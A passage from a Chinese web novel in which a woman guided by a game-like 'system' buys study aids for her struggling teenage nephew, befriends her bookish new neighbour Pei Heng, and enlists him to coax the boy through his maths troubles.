052：【没错。】 池又青啧啧两声：【报应。】 池又青瞄着自己的成就点账户：【就一个野山赌场，能赚这么多？】 她这是顺手让警方捣毁了个什么组织啊？ 052继续解释：【不完全是，你买MCN公司又签约蒋瑶，也被系统判定改造成功，逆转了蒋瑶未来的命运，所以也发放了相关奖励，还有陆季燃这几天学习的奖励……】 一晃眼，池又青只觉得自己现在也算是个小富婆。 她都有小万点了呢！ 等级也不知不觉到达五级，池又青立刻点进兑换商城。 商城里的道具琳琅满目，甚至还有成就点兑换现金的功能。 1成就点=100块。 池又青无语：【真不考虑来点氪金功能？】 052：【氪金不行，氪智商可以。】 池又青：【……】 她拢共就没几点智商，都拿去兑换还得了？ 池又青只好作罢。 她扫过其他商品，想都没想，给妈妈兑换了健康点数，虽然这零星的点数加上去还不足以为彻底扭转妈妈的命运，但总归是有进展了。 积少成多嘛。 再赚个三十九万，她就能解脱了！ 紧接着，她的目光落在名字为“寂寞难耐！与周公的秘密约会～”的商品上。 池又青：“？” 细读使用说明，池又青发现，这是个类似时间加倍的东西，能让使用者在睡觉的时候也利用时间的道具。 瞄了眼价格，池又青心生一计，问：【陆季燃的学习时间不是会根据吸收度转化为成就点吗？那在梦里的也行吗？】 052：【理论上来说，一切时间都算。】 池又青：【那我能开自动续订吗？先买一个体验卡，等他在梦里学够，攒的成就点兑换出来，再自动续下一张卡。】 052惊了。 池又青：【行不行啊？】 052：【可以倒是可以，但是宿主，你这是真把陆季燃当驴使啊？】 池又青莞尔：【他自己辛苦学习赚来的成就点，兑换成更多的学习时间，让他在梦里也给我继续学，周而复始，取之于驴，用之于驴，不好吗？】 052：【……你的成就点，你想怎么用，都可以。】 它就是有点替陆季燃担心。 每天两眼一睁就是学，眼睛一闭还是学。 真不会出事吗？ 陆季燃当然也马上就体验到了这张卡的功能。 但他的想法完全和052不同。 052以为他会疯。 他却在睁开眼的那个瞬间，看着面前的书本，在反复确认刚刚梦里发生的一切都是真实，真有人在梦里跟他讲课后，他意识到—— 他可能是被学习之神选中的男人。 没有哪个少年不曾看过听说过吊车尾废材逆袭爆改top1的故事，陆季燃只当那些都是闲来无聊打发时间的东西。现在，他恍惚意识到，他可能真的是命中成为火影，阿不，成为学霸的男人。 他正担心200名的目标该怎么实现，就跟打瞌睡有人送枕头一样，他居然就能在梦里也跟着学习了！ 这不是命运的安排是什么？！ 陆季燃深吸一口气，从没有哪一刻如此清晰地意识到，他也许，正在走上属于他自己的道路。 咬掉笔盖，陆季燃开始奋笔疾书。 池又青从052听说陆季燃的反应，笑得前仰后合。 【挺好的。】她说，【少年就是要活成热血漫啊！】 她就不一样了。 她已经老了：） 比起相信自己是被神选中的人这样的故事，她更明白，她是带着镣铐跳舞的边角女配。 她可没忘记自己是为什么戴上这一身枷锁。 替妈妈加点后，池又青迫不及待地给医生打电话，让他这两天重点关注一下妈妈的各项指标，如果有变化就告诉她。 很快，池又青得到答复。 “池小姐，这简直是奇迹！”医生不敢相信。 池又青悬着的心落于原位，又给妈妈发消息，挑了张陆季燃的照片发过去。 池习君回消息很快，这个点，按照时差，正是她早起做瑜伽的时候。 她真的非常自律。自池又青有印象起，她每天都精力充沛，早起运动，工作学习。就连老爹出轨的时候也不例外。 如果不是这次错绑，池又青真的想不到，也看不出来，她妈妈竟已病得这样严重。 妈咪：是个好看的。小乖，这是谁？ 池又青：妈妈你猜=w= 妈咪：猜不到，有些眼熟。 妈咪：我认识吗？ 池又青：是季瑾姐的崽啦！ 妈咪：[猫咪问号] 妈咪：你们怎么在一起？ 池又青把一早想好的借口发出去：我回国见朋友啦，旅游呢，正好碰见他，就干脆在这边多待一段时间，顺便替季瑾姐看看崽子。 她妈没回，过了好一会，才抖了个语音过来。 池又青接通：“妈——” 池习君的声音听起来还算稳定，不像是大病之人。她叹口气，说：“小乖，是不是遇上什么事了？你和季瑾不熟，怎么会突然替她照顾小孩？” 她妈果然和她想得一样敏锐啊。 池又青按照计划说：“没什么事啦，就是我想在这边多玩一段时间而已。” 池习君松口气：“那就好。” 池又青：“妈，你呢？最近身体怎么样。” 池习君如常道：“身体很好，不用替我担心。” 池又青鼻尖微微泛酸，嗯了一声，讲：“就算身体好也要多多照顾自己，不能一直上班，集团也不是离了你就会塌，能休息就要多休息，知道吗？妈妈？” 池习君笑着说好，又讲：“小乖，之前相亲的事，是妈妈考虑不周。知道你一直抵触这件事，没有和你好好商量就直接通知你。对不起。” “这件事，若你没想法，妈妈以后就不再提。妈妈想通了，什么事都不重要，你开心最重要。” 池又青揉揉眼睛，故作轻松地说：“哎呀，我现在就很开心呀！妈妈，你也不 要道歉啦！根本没什么的！我也有错！不该那么凶！妈妈，亲亲亲亲——！” 池习君笑声不断，念她，多大的人了，又撒娇。 池又青嘻嘻笑着，问起姥姥，听池习君聊八卦，讲姥姥的新男朋友二三事。一聊就是四十多分钟。听见池习君偷偷咳嗽，池又青这才不舍地挂断电话。 她唰地一下从沙发上腾起来，踩在软垫上，握拳大喊！ “啊啊啊啊啊啊！” 来吧！破任务！ 区区188名！ 看她手拿把掐！直接化身提分大师！！ 池又青一咬牙，拿出当年申请学校的决心，冲进卧室抱出电脑，开始噼里啪啦敲打键盘。 次日，池又青带着到处搜刮来的教辅资料列表跑到离家最近的小巷书店。 小巷书店坐落在老街的一个小院子里，临街道的店铺卖的都是时下最热门的辅导资料，习题册，五花八门，配色夸张，差点把池又青看瞎。 好在这个点，上课的上课，上班的上班，和她一样来书店的闲人不多。 池又青拿出手机，比对着记录好的内容，慢慢地一本一本选。 各科都挑了两三本，别说陆季燃了，池又青自己看了就害怕。 往那一堆，就是一摞题墙。 她抱着去进店内结款处，duang地一下放下书，脑袋从书后探出来，喊：“老板，买单。” 守在桌后电脑前的男人抬眸，眼神里闪过意外。 池又青也没想到：“裴先生？” 裴珩颔首：“池小姐。” 他扫了眼桌上垒得快比眼前人还高的习题册和辅导书：“进货？” 池又青哀怨地看着他：“裴先生，你就别取笑我了。” 裴珩轻笑：“给你侄子挑的？” 池又青点头如捣蒜，又讲：“我昨天在网上搜集半天，这些都是有人推荐的。” 裴珩左手拿起面上那本《高考数学核心练》，右手随意翻了翻：“你侄子成绩怎么样？” 池又青：“挺好的，进步空间很大。” 裴珩懂了：“那这本不合适。” 池又青不解：“为什么？我看他们都说这个是高中生必刷。” 裴珩很耐心地放下书，解释：“如果使用者目前进步空间很大，那证明他现在要做的事是打基础，而不是寻求进阶，这本现在用，为时太早。” 池又青整个人都蔫哒下来，跟被霜打过似的，靠着桌台，有点崩溃：“这样吗？那等我再找找别的。” 裴珩敲着她沮丧的模样，微微敛眸，伸出手，在她低垂的脑袋下轻轻敲了敲桌子，在池又青抬头看向自己的时候，说：“不介意的话，我帮你选？” 此话一出，他就发现眼前被霜打蔫打趴的花骨朵一下绽放起来，完美符合‘给点阳光就灿烂’的模样。 “真的吗？裴先生，那我就不客气啦！” “小事。”裴珩一边说，一边把她现在选的N本书都扫了眼，挑出一两本，剩下的都准备放回去。 又问：“除了数学，别的科目呢？” 池又青：“唔，都挺有空间的。” 裴珩静默一瞬，道：“辛苦了。” 池又青哇呜一声喊，顿时有种找到人倾诉的感觉：“是吧是吧！我又不得不让他下个月期中考进步，哇，就为这件事，我这几天别提掉了多少头发。哎，裴先生，我跟你说，我学习超不在行的！” 裴珩瞧着她毛绒绒的，细密严实的发缝。 “别这样说。”裴珩语气平实地讲，“至少夸张手法，池小姐你运用得很自如。” “池小姐，那就麻烦你帮我看店，我去选。” 说完这话，裴珩就抱着刚刚池又青带过来的那摞书往教辅区走去。 池又青眨眨眼，瞧着他因为用力而绷起青筋的小臂，肌肉鼓鼓的袖口，后背处凹进缝隙一路顺到腰部的黑色高领针织衫褶皱，因为弯腰放书而晃动下垂的银色毛衣链。 池又青没忍住，拿出手机，拍了张照。 《劳资蜀道（3）》 公主今天也不想带娃：[图片] 公主今天也不想带娃：@别读博会发疯@吃香喝辣还点鸭 公主今天也不想带娃：怎么评？ 别读博会发疯：写论文写到发疯看到这个是我应得的，哪家的男菩萨？ 吃香喝辣还点鸭：还有配饰？此男略骚。 吃香喝辣还点鸭：池闺女，也是让你吃上好的了。 公主今天也不想带娃：随手拍拍而已，人都跟我不熟。 吃香喝辣还点鸭：怕什么？可以熟，都可以熟。不是我说，虽然没正脸，但这男的绝逼亲起来很带感。 公主今天也不想带娃：超模请注意这里不是无人区？ 别读博会发疯：超模请注意这里不是无人区？ 吃香喝辣还点鸭：我认真的啊！ 吃香喝辣还点鸭：这下颌线，比我人生都还清晰，感觉特别适合拿去拍吻戏，一看就很好亲。 吃香喝辣还点鸭：你们不觉得吗？ 池又青哪敢说话啊。 她熄灭屏幕，看着裴珩带着精挑细选的资料和习题走过来，许是察觉她一时有些慌乱的表情，微微抬眉，温声问：“怎么了？” 池又青摇摇头，火速把手机藏进兜里，瞧着裴珩怀抱里的书本，有些惊讶：“只有这些吗？” 裴珩将它们一一在桌面上铺开：“都是打基础的，知识逻辑结构明晰，答案解析我也看过，非常完善，没有什么省略步骤，适合刚开始学习的新手。” 池又青翻开瞧，还真是。 她冲裴珩笑：“裴先生，太感谢啦。” 裴珩沉静地看着她，这个人不管做什么反应都带着茶雾似的浅淡。 池又青在心里吐槽：裴珩，超绝淡人。 淡人先生看着她，用眼神示意。 池又青不解，歪头。 淡人先生屈指敲敲桌面，也歪了歪头，眼神看向桌与墙之间狭小的通道。 池又青顿悟，忙快步挪出来，朝着裴珩做出姿势，迎宾似的，将他请进去。 裴珩不紧不慢地把每本书扫码，问：“要袋子吗？” 池又青拍拍一直挂在自己肩头的帆布包：“不用啦，我自己有。” 结完账，池又青把这些书全都放进去，忽感肩头一沉，重心微微偏移。 很好，原来这就是知识的重量吗？ 她从单肩背改为两手抱着，瞧着裴珩：“裴先生，今天太谢谢啦，什么时候你得空，我请你吃饭吧？” 裴珩抬手看眼腕表：“今天中午？” 池又青：“我ok啊。” 反正她也正好在纠结中午吃什么，拉上裴珩一起也不错。 裴珩：“那稍等，我打个电话。” 池又青也没什么事干，就干脆先把帆布包放在前台处，往书店深处转悠。 不转不知道，一转吓一跳。 这小巷书店内部竟别有洞天。 外面全是教辅习题和名字夸张直白的畅销书，从成功学到伪灵学鸡汤，什么都有。往内走，顺着藤蔓缠绕的绿墙旁的楼梯朝上，二楼竟是颇有人文艺术气息的品读室。 临窗的那一株池又青叫不出名字的绿植，在阳光下透着幽静的美。 她随手抽了本传记，坐在窗边，难得有心情，拿出耳机戴上，一边放着钢琴曲，一边慢慢看起来。 楼下，秦征火急火燎赶来，风尘仆仆，瞧见裴珩，忙说：“裴神，今天真是谢了，咖啡厅那边出了点事，要不是有你帮我守书店，我都忙不过来。” 裴珩：“客气。” 秦征：“中午一起吃饭？难得你回来。我来的路上还在想呢，我们多久没见了？上次见面还是在国外，你搞投资公司那会。不过我上次听望子说你要接手裴家，怎么倒是跑来江城了？不会真是因为拒婚被你家老爷子发配了吧？” “别听江望胡说，我只是回来休假。”裴珩从桌后走出来，把开柜锁的钥匙还 给秦征，“还有，我从没拒过婚。” 秦征咦了一声：“那这到底是怎么回事？” 裴珩看向他，眼神温沉。 秦征默默闭嘴，拉上自己嘴巴处无形的拉链，举手表示自己不再发问。 他以为裴珩要往外走呢，哪知道裴珩朝里上了楼。 秦征没细想，以为他走之前想挑本书。 楼上，窗边，池又青正看得入神，终于把一个小章节扫完，抬头活动肩颈，发现裴珩坐在对面，身子后倚着，姿态闲散。 右手握着书脊，骨节分明的手指搭在封皮上，纤长而有力。左手随意地搭在椅肘上，时不时抬手翻页。 许是察觉到池又青的目光，从书里抬眸，合上手里的书，眼神温和：“你看完了？” 池又青见他嘴巴一张一合的，又没听见声音，茫然：“啊？” 裴珩指了指自己的耳朵。 池又青这才记起来，关掉音乐，取下耳机。 裴珩：“去吃饭吗？” 池又青：“走呗。” 她看眼书，问：“裴先生，这本店里有卖吗？” 裴珩扫过书名：“我也不清楚，老板回来了，可以下楼去问问。” “诶。”池又青惊讶，“你不是老板吗？” 裴珩解释：“只是过来帮忙。” 池又青更在心中加深了裴珩的失业设定。 哥们你挺闲啊。 还来帮人看店。 所以，既然这么闲，之前为什么拒绝她？ 池又青承认，她是有点小心眼了。 主要是想不明白。 裴珩当时回绝她，说：“抱歉，暂时不行。”没说自己不想，也没说不感兴趣，‘暂时不行’四个字太过微妙，池又青还以为他这段时间有别的事要忙，结果……？ 池又青是个憋不住事的，当即问：“裴先生今天不跑车吗？” 裴珩没想到这个误会如此深入人心，道：“池小姐，那天是个意外。” 池又青：“什么意外？” 裴珩：“我从不接单。” 池又青脑海里闪过一个微妙的猜测，忙皱着眉当场下载软件，一看，那天的订单果然中途取消，接单的司机和车型都更是不上号。 甚至那天接单的司机，还给了她一个差评，说她这个客户不好，放鸽子，打电话也不接，软件发消息也不回。 池又青有些心虚，同时也满头雾水。 她瞧着眼前的男人，问：“所以你不是司机啊？” 裴珩摇头：“不是。” 池又青想不通了。 虽然这事是她自己搞错的，但裴珩怎么也不说一声？没长嘴吗？在给自己找理由这件事的，池又青一贯很有经验。 她双眼灼灼地看着裴珩，颇有几分倒打一耙的意味，说：“既然你不是司机，那你送我过去干嘛？直接把我赶下去啊。” 第27章 第27章这位老师长得还真聪明。…… 池又青怎么想都觉得裴珩这顺水推舟让她误会的行为有点奇怪。 正常人都不这样吧！ 要是谁突然拉开她的车门，她只怕会二话不说让人滚。 裴珩瞧着她明亮的眼眸，听着她有几分秋后算账意味的语气，不动如山地说：“因为你看起来很着急。” 这话浇灭了池又青一半的脾气。 她那天出酒店走得突然，看起来的确是有点狼狈。甚至忘记换鞋，踩着拖鞋就跑去找陆季燃。 裴珩又说：“那天我起步很慢，没有耽误你吧？” 池又青一向都是吃软不吃硬的，听裴珩这样讲，剩下一半的脾气也彻底熄灭，她摇摇头，说：“抱歉啊，误会你。” 所以裴珩到底是干嘛的？ 池又青有点好奇，又知道随便打听不妙。己所不欲勿施于人，她自己都讨厌被问，何必再探寻？忍下那点好奇心，池又青拿着书往楼下走。裴珩跟在她的身后，一步一步踩过她轻踏离开的楼梯。 秦征无聊，正给自己磨咖啡呢，听见动静，以为是裴珩，头也没抬喊了声：“裴神。” 脚步声听着不对，有两个人，他抬眼一看。 我勒个乖乖。 没想到有天能够看到裴神这个异性绝缘体在私人时间里跟个姑娘在一块。 两人瞧着是认识的样子，因为姑娘问他手里的传记有卖的没这事时，裴珩就站在她的身后，没走，似乎在等待。 搞半天，裴神上楼不吭不响，是为了等这姑娘？ “暂时没货。”秦征说，“上面不少书都是我的藏品，很多都是绝版的。池小姐，这本你就先带回去读吧，读完再给我就好。” 池又青眼睛一亮：“真的吗？谢谢你秦老板！” 秦征摆摆手：“小问题，你是裴神的朋友嘛，这算什么。” 池又青笑得眼眸弯弯，让人很难不心软，她抱着说，轻快地说：“那我就不客气啦！” “对了，秦老板，我还有个问题。”池又青指了指楼上，“二楼窗边的那盆绿植，叫什么呀？我也想买一盆放家里。” 秦征朝她身后抬抬下巴：“这我就不知道了，你得问他，我这店里的绿植，都是他挑的。” 池又青转头看裴珩。 裴珩猜：“你刚刚身后那盆？” 池又青点点头。 裴珩：“黑金刚橡皮树。” 池又青只关注这个：“好养吗？” 裴珩：“喜光耐阴，朝南最好，但不能强光暴晒，会影响叶片美观。每年最好换盆一到两次，还有……” 他在池又青抬手的动作里噤声。 池又青认命地说：“不养了不养了，好麻烦。” 秦征哈哈笑起来，讲：“池小姐，这都算好养的了。” 池又青苦瓜着脸：“这还好养啊？就没有那种，买回来不用管，放哪都行，想起来浇水就能活还特别好看的品种吗？” 裴珩毫不犹豫：“有。” 池又青一喜：“什么？” 裴珩：“仿真植物。” 池又青：“……” 闭嘴吧你！ 算了，她在养绿植这件事上，的确没有天分，称她一句绿植杀手也不为过。 就连仙人掌都被她养成松松垮垮的水球，只因她总担心小仙人掌喝不饱。后来学会不浇水太多，却又矫枉过正，就连人人皆知的好养绿萝都能在她手里死无葬身之地。 池又青甚至觉得，植物比动物还难照顾。 她不适合养植物，她认了。 池又青准备去拿帆布包，包已经装满，怀里的书塞不进去。她正犹豫是抱书还是抱包，裴珩伸手替她将沉甸甸的包拎着。 “走吧。”他说。 既然裴珩爱拿，池又青也不客气。 跟裴珩走出书店，她问身边的人：“秦老板怎么叫你裴神？” 裴珩右手掀开院门口的防风帘，示意她先走，又慢慢放下帘子，跟上她，也有些不确定地说：“因为他中二病还没结束？” 瞧出池又青眼睛里的好奇，裴珩道：“高中同学，那个年纪的男生，都喜欢这些稀奇古怪的称呼。池小姐现在应当很理解。” 想到自己家里那个，池又青感同身受地说：“懂。秦老板这是至死是少年啊。” “不过你俩是高中同学？！”池又青有些惊讶。 裴珩站定：“嗯，不像吗？” 池又青摇摇头，非常肯定地说：“不像。” 认真打量后，她说：“裴先生保养有方。” 裴珩失笑：“就不能是他操之过急？” 池又青哇一声：“我要跟秦老板告状，你讲他长得老。” 裴珩半点不慌，侧身替她撩开门帘，向内做出请的动作。 池又青朝他竖起拇指，对此男的脸皮又有新认识。 也是。 一个在她拉开车门报尾号后还能面不改色接戏的人，脸皮厚度必定超乎寻常，且有一定恶趣味在。 她光明正大地看向裴珩的脸，心想：这人可真是又好又坏的。 池又青指使裴珩把她那装满知识的帆布包放到车内，玩着手里的钥匙，问：“你开车了吗 ？没开的话直接坐我的。” 裴珩说：“那就打扰了。” 池又青笑笑：“中午想吃什么？” 裴珩坐上副驾驶后就系上安全带，池又青认为，他看起来是那种就算坐后排也不会忘记系安全带的类型。 系好后，裴珩抬头看她：“今天降温，吃汤锅吗？我知道附近有家板栗鸡，味道不错。” 池又青说好。 她还以为两人要在讨论吃食这件事上来回半天呢，还好裴珩跟她不一样，在吃什么这件事上，裴珩做决定很快，而且也很会选。 他介绍的这家店的确很不错，吃完后，连喝三碗板栗浓汤的池又青后背都在微微发汗。 “裴先生对江城很了解？”她一边扯纸巾擦嘴一边问。 裴珩：“略知一二。” 池又青：“不瞒你说，这顿是我来江城以后吃得最舒服的一次。” 环境，氛围，食物，服务，还有性价比都挺到位。 池又青心情不错，瞧着裴珩，就像是在看行走的美食探测仪：“裴先生，加个好友吧？要是下次你再想到什么好吃的店，一定要推荐给我。” 她拿出手机，屏幕亮起，二维码上的猫猫依旧嚣张又可爱，就和她一样：“裴先生这一次该不会还要拒绝我吧？” 裴珩瞧着她，笑着说：“池小姐你有点记仇。” 池又青微微扬眉：“毕竟我很少被人拒绝。” 裴珩拿出手机扫码加她，低头编辑了什么，又抬头，双眼定定地看着她，说：“那池小姐现在应该对我印象深刻。” 池又青调侃道：“那可不，裴神呢。” 到最后这顿饭池又青也没请成，因为裴神说他要赔礼道歉，为之前的拒绝。池又青没所谓，拍拍自己圆鼓鼓的小肚皮走出店，转头问：“你回哪？我送你。” 裴珩说：“不必，我还要回书店办点事，待会见。” 池又青顺口说：“好啊，待会见。” 等人坐上车，开出几百米，她才从发饭懵的状态里醒过来。 啊？待会见？裴珩也吃饭吃迷糊开始胡说八道了？他俩有什么好待会见的？ 另一边，秦征瞧见裴珩去而复返，一边扒拉着刚点的外卖，一边问：“裴神，怎么回来了？有东西忘拿？” 裴珩点点头。 秦征热心：“是什么？我帮你找。” 裴珩：“车。” 秦征：“……？？？” 啊？bro？那么大一个车停在那你也能忘？你这脑子想什么去了？ 裴珩瞧出他夸张的表情，自己也无奈，又说：“我再买几本书。” 秦征没所谓地摆手：“买什么买？随便拿，客气啥。” 然后他看着裴珩走到教辅区，精挑细选了几本。 秦征嘴巴大张：“裴神，你这是……准备出山了？” 裴珩只说：“手痒，随便练练。” 秦征心里腹诽：神特么手痒。 他这等年近三十都还在做高考写不完题目来不及交卷的噩梦的俗人，真是不懂学神的休闲的方式。 这是能拿来随便练的东西吗？！ 等裴珩付钱走人，秦征还有点懵，不信邪地跑到书摊上去瞧，也拿起来一本瞧。刚打开一页，他就面无表情地将之放下。 嗯。 果然裴珩不是人。 * 池又青吃饱就困，下午大睡一场，迷迷糊糊醒来的时候，听见有人敲门。 她扯着长长的哈欠走过去，揉着眼睛打开门，瞧见裴珩站在门口的时候，愣住。 又揉两下眼睛，把眼前惺忪朦胧的困意眼泪都擦掉，反复确认：“裴珩？” 裴珩递来一盆小小的绿植，白色的小花盆很有设计感，配上其中修剪得当的小树，瞧着特别可爱。 “这是什么？”池又青接过来，好奇地打量着。 “迷你版黑金刚橡皮树？”裴珩也是刚想的名字，“下午去花鸟市场正巧逛见，我想这样小小的一株，你养起来比较不容易有压力。” 池又青很喜欢这一株小金刚，她的书桌上正缺点绿色，小金刚来得正好。这种沉稳又特别的美，跟她屋子里的风格挺搭。 手抱着花盆，池又青有些犹豫：“可是……” “盆我已经换过，里面的土也不用再动，往后定期浇水施肥就可以。”裴珩把手里的小塑料袋一并递过来，“适合的肥料我已经挑好。如果你不介意的话，我可以提醒你浇水。” 池又青感觉裴珩现在周身都在散发着圣人般的光亮。 “好啊。”她笑起来，“那我可不客气了。” “你就专门跑这一趟给我这个呀？” 裴珩摇摇头：“那倒不是，我回家，顺路。” 池又青好奇：“你也住附近。” 裴珩嗯了声，下巴指了指对门：“就那。” 池又青：“……” 这是附近吗？ 这根本就是近得快贴到她脸上来！ “你是我邻居啊！”池又青惊讶，“之前都没见到你！你也没说！” 裴珩解释：“房子空置许久，前几天都在请人收拾，今天正好搬回，这盆小绿植，就当做是邻居的见面礼吧。” “池小姐，以后请多指教。” 池又青嘿嘿一笑：“没问题。” 怪不得裴珩说待会见，原来是这意思。 见裴珩没有要走的意思，池又青猜测：“裴先生有事要说？” 裴珩嗯了声，讲：“家教的事……” 池又青以为他又要赔礼道歉，忙说：“裴先生别担心，这事我已经解决，之前也是我提要求太冒昧，你别往心里去。” “喏。”池又青往电梯看。 电梯门打开，从蒋瑶那新找的家教正好来跟池又青汇报，一个清爽的小伙子，长得也挺端正，鼻梁上挂着眼镜，见到池又青，还有几分害羞，镜框下的脸颊泛红。 裴珩眉尾稍作上扬状，道：“这位老师长得还真聪明。” 第28章 第28章池又青，花一直都在。 “冯老师，怎么了？” 池又青瞧着面前的男生略微有些失神，出声提醒他。 冯泽恩赶紧说：“没、没事。” 他抬手推推下滑的眼镜，抱紧自己的书包，说：“只是觉得刚刚那人有点眼熟。” “是吗？”池又青随口一答，“江城就这么大，说不定你们之前见过。冯老师，来聊聊陆季燃的事吧，这两天补课下来，你感觉如何？” 冯泽恩忙把备课本拿出来。 池又青瞧着，心里又对他满意了一点。 冯泽恩是蒋瑶推荐过来的，名牌大学毕业，这段时间待在江城备考公务员，闲来无事，接点家教的单子赚钱。她开价高，事又不多，蛮多人都想来。挑中冯泽恩，是因为他看着温吞，但在教学生这件事上很有经验，也有自己的坚持。 当然，长得也算是不错。 不知道是不是因为原著是古早文的缘故，江城所在的省份，依旧采取传统的文理科分班制。 陆季燃选了文科。 他阅读障碍症的事算是找到些许窍门纠正，加上他记忆力和理解力也不错，旁的科目，冯泽恩教起来都不算吃力。 “就是这数学……”冯泽恩脸色有点难看，“还有地理……” 池又青叹口气：“是得想个办法。” 借系统的存在，池又青随时能够看到陆季燃的学习情况，相当于她有个智能助手，连通了陆季燃的脑子，随时可以整合统计他的学习情况，理解程度。 在其他科目都缓缓上升的时候，数学和地理犹如两块巨石，一动不动，把他的平均分数往下一压再压。 就连陆季燃自己也感受到，什么叫一道数学题，难倒英雄汉。 说好的被学习之神选中的男人呢？ 怎么这个数学他左看右看都还是不懂呢？ 又是一天补课结束。 陆季燃抱着自己的习题册送走冯泽恩，看着册子上几乎空白的答题区，长叹口气，也不回房间，干脆就坐在楼道里。 裴珩回家的时候余光扫到，不动声色拿出手机，拍了张照，发给池又青。 貌美心善好邻居：你侄子被关门外了？ youqing：没，他学emo了。 池又青苦瓜着一张脸，对这事也没经验，也不知道该怎么劝，回了个猫猫哭泣的表情。 youqing：劝学这事哪是折磨学生啊？分 明就是折磨家长。 youqing：在线等一个好心人出手相助。 貌美心善好邻居：这是在明示我？ youqing：裴神QAQ youqing：亲爱的裴神QAQ 貌美心善好邻居：我试试，不一定行。 youqing：gogogo！裴神，我唯一的神！ youqing：给我开直播！我好学习一下劝学之术！ 裴珩当真拨了个语音通话过来，明明两个人就在对门，偏偏要隔着电话说话。 “测试。”裴珩一本正经地说，“能听见吗？” 他的声音又静又沉，和他的微信头像上风过林海的照片一样，也许是讲话时和听筒挨得很近，所以音色中暗藏的砂砾感也格外清晰。 池又青窝在沙发上，笑得满意：“能听见的。” 裴珩：“嗯，那这样呢？” 他的声音忽然远了一些，没有刚刚的清晰。 池又青：“可以！” 裴珩熄灭屏幕，走出房门。池又青听得见手机抓在掌心里摩挲过布料的声音，也听得见他关上房门的响动。她悄悄地从沙发上跳下去，跑到门边，透过监控看。 裴珩似乎预料到她的举动，竟也抬眸扫过来一眼，池又青本能地做贼心虚往下一躲，反应过来后又无语。这是她自己家呢，她躲什么？ 为了不错过裴珩的劝学话术，池又青找出无线耳机，塞进耳朵里，靠着门站着，听他和陆季燃的对话。 裴珩真会装，跟陆季燃说的第一句话是：“被关门外了？” 陆季燃立刻合上自己的习题册，起身说：“没有。” 裴珩瞄见他手里的东西，背出上面的名字，又问：“数学题卡住了？” 陆季燃抓紧书册的边脊：“你是？” 裴珩指了指楼下：“刚搬来的邻居，这套书是之前你小姨拜托我选的，所以我还算了解。” 不知道哪个关键词触及了陆季燃的灵魂，他看起来没那么抗拒了，说：“你认识池又青？” “嗯。”裴珩点头，瞧着他怀里的书目，“需要帮忙吗？” 陆季燃摇摇头：“不用。” 裴珩没被他这一点冷脸吓退，依旧很平静地问：“我听你小姨提过，已经给你找到家教，你没问他吗？” 陆季燃狐疑地看裴珩一眼，确认他跟池又青的关系好像真的还可以，背靠着楼道的墙壁，偏头说：“刚下课，课上讲了，但我还没听懂。” 裴珩：“怎么不问他？” 陆季燃有些烦躁地抓抓头发：“就是不想问。” 他卡住的这道题冯泽恩都讲了几遍了，那么好脾气一个人，也被整得有点来气。陆季燃自己情绪也不好，送走冯泽恩，就一个人生自己的气。 再问就显得有点太笨了。 他不想这样。 裴珩：“那你自己弄懂了吗？” 陆季燃沉默。 显然没有。 裴珩：“就打算在这坐着？” 陆季燃有点起火：“跟你有什么关系！” 裴珩瞧着他青涩无畏的眉眼，字字清晰地说：“跟我没关系，但你让你小姨担心了。是她让我过来问问，你的情况如何。” 池又青偷听到这，头大无比，当场挂了电话推开门，朝着安全楼梯里吼：“呀！裴珩！你怎么还泄密呢！” 事已至此，池又青没辙，穿着拖鞋就走进楼梯间，冲着站在其上对峙的两个人，招狗一样晃晃手：“行了，外面风大，赶紧进屋。” 陆季燃抿紧唇，低着头，抱着怀里的书，啪嗒啪嗒往下走。 裴珩还站在原地。 池又青扬起下巴对他道：“裴神，别装孤寡老人啦，下来，一块。” 陆季燃不敢置信：“他干嘛也一起？” 池又青抬手就往他脑门上一敲：“人是大神，我请来帮你搞学习的，注意你的态度！赶紧的，把鞋套拿出来。” 陆季燃瘪嘴，弯腰从玄关处拿出鞋套，没什么礼貌地直接往裴珩面前一塞。 裴珩接过，没把少年不知从何而来的敌意放在眼里，道：“谢谢。” 池又青也不知道陆季燃犯什么病，推他进去倒水，又悄悄同裴珩算账：“你怎么出卖我？” 裴珩低头说：“以情动人，以理服人。” 池又青勉强接受这个理由。 陆季燃接了杯水，走过来，瞧着两个人在门口杵着，皱紧眉：“你们干嘛呢？” 池又青说：“没干嘛啊。” 她擅自做主把陆季燃手里的册子抢过来，陆季燃欲夺回来，池又青直接跳到沙发上，高高举着，挨着翻看。 “你这不是写得挺认真吗？”池又青瞧着白纸黑字上笔涂涂画画的痕迹，“干嘛蹲在楼道当孤儿？” 陆季燃趁池又青不注意，一把将册子拿回，嘀咕一句：“认真有什么用？还不是不会。” 冯泽恩都说了，这是初中的题。 是他太笨，基础太差。 他以前什么都没学，他活该。 池又青伸手rua乱他头发：“不会就问啊，冯泽恩拿钱办事，你想问就问。” 陆季燃在沙发前的地毯上坐下，瘦削的身影缩成一团，捏着书册的边角不说话。 池又青在他身边坐下：“陆季燃，努力又不丢人，你怕什么？” 陆季燃今天心情实在有点沉郁，不知道哪根筋不对，嘴贱地呛一句：“那你怎么不努力？你的个人品牌呢？” 池又青一口老血哽在心头，伸手就拧住陆季燃的耳朵：“好啊你小子，现在都学会看你小姨笑话了是吧？” 陆季燃嗷嗷两声，浑身都在挣扎。 裴珩端着水杯站在两人面前，问：“我需要回避吗？” 池又青甩开陆季燃，说：“不用。” 陆季燃倒吸口气，揉着自己微微发疼的耳朵，小声地说：“此地无银三百两。” 池又青叉着腰气笑了：“老娘花钱给你补课你就学会这句是吧？” 陆季燃自知理亏，顶顶腮帮，有点绝望地说：“反正我就是学不会，努力也没用。” 这些天，别的科目，陆季燃都已经开始慢慢上手，就这个数学和地理，跟冥顽不化的老古董一样，任他这个脑筋怎么转都不带动容的，半分也不愿意开恩，让他尝到一点学习的甜头。 距离十一月期中考也没多久了，陆季燃一想到自己跟池又青的赌约，心里就有点急。 一急就爱偷偷怨自己，回想自己虚度的前些年，立刻陷入内耗走不出来。 “努力是不一定有用。”裴珩屈腿在两人对面坐下，他喝口温水，说，“过分相信努力就会有结果，放弃对自己内心世界与客观世界的审视，不接受失败的可能，未必不是一种偷懒。” “喂——！”池又青没料到裴珩会忽然开始说这些，丢给裴珩一个‘大哥你适可而止’的眼神。 “那为什么还要努力？”陆季燃攥紧手里的书册，“既然没结果，就该从一开始就放弃。” “很简单，因为你不努力，就什么都没有。”裴珩放下水杯，眼神直接，“小朋友，不要迷信结果，过程比结果重要。” “有的时候你努力了，收获到的不一定是你预期里的结果，但一定会得到什么。譬如经验，譬如耐心，譬如警示。” 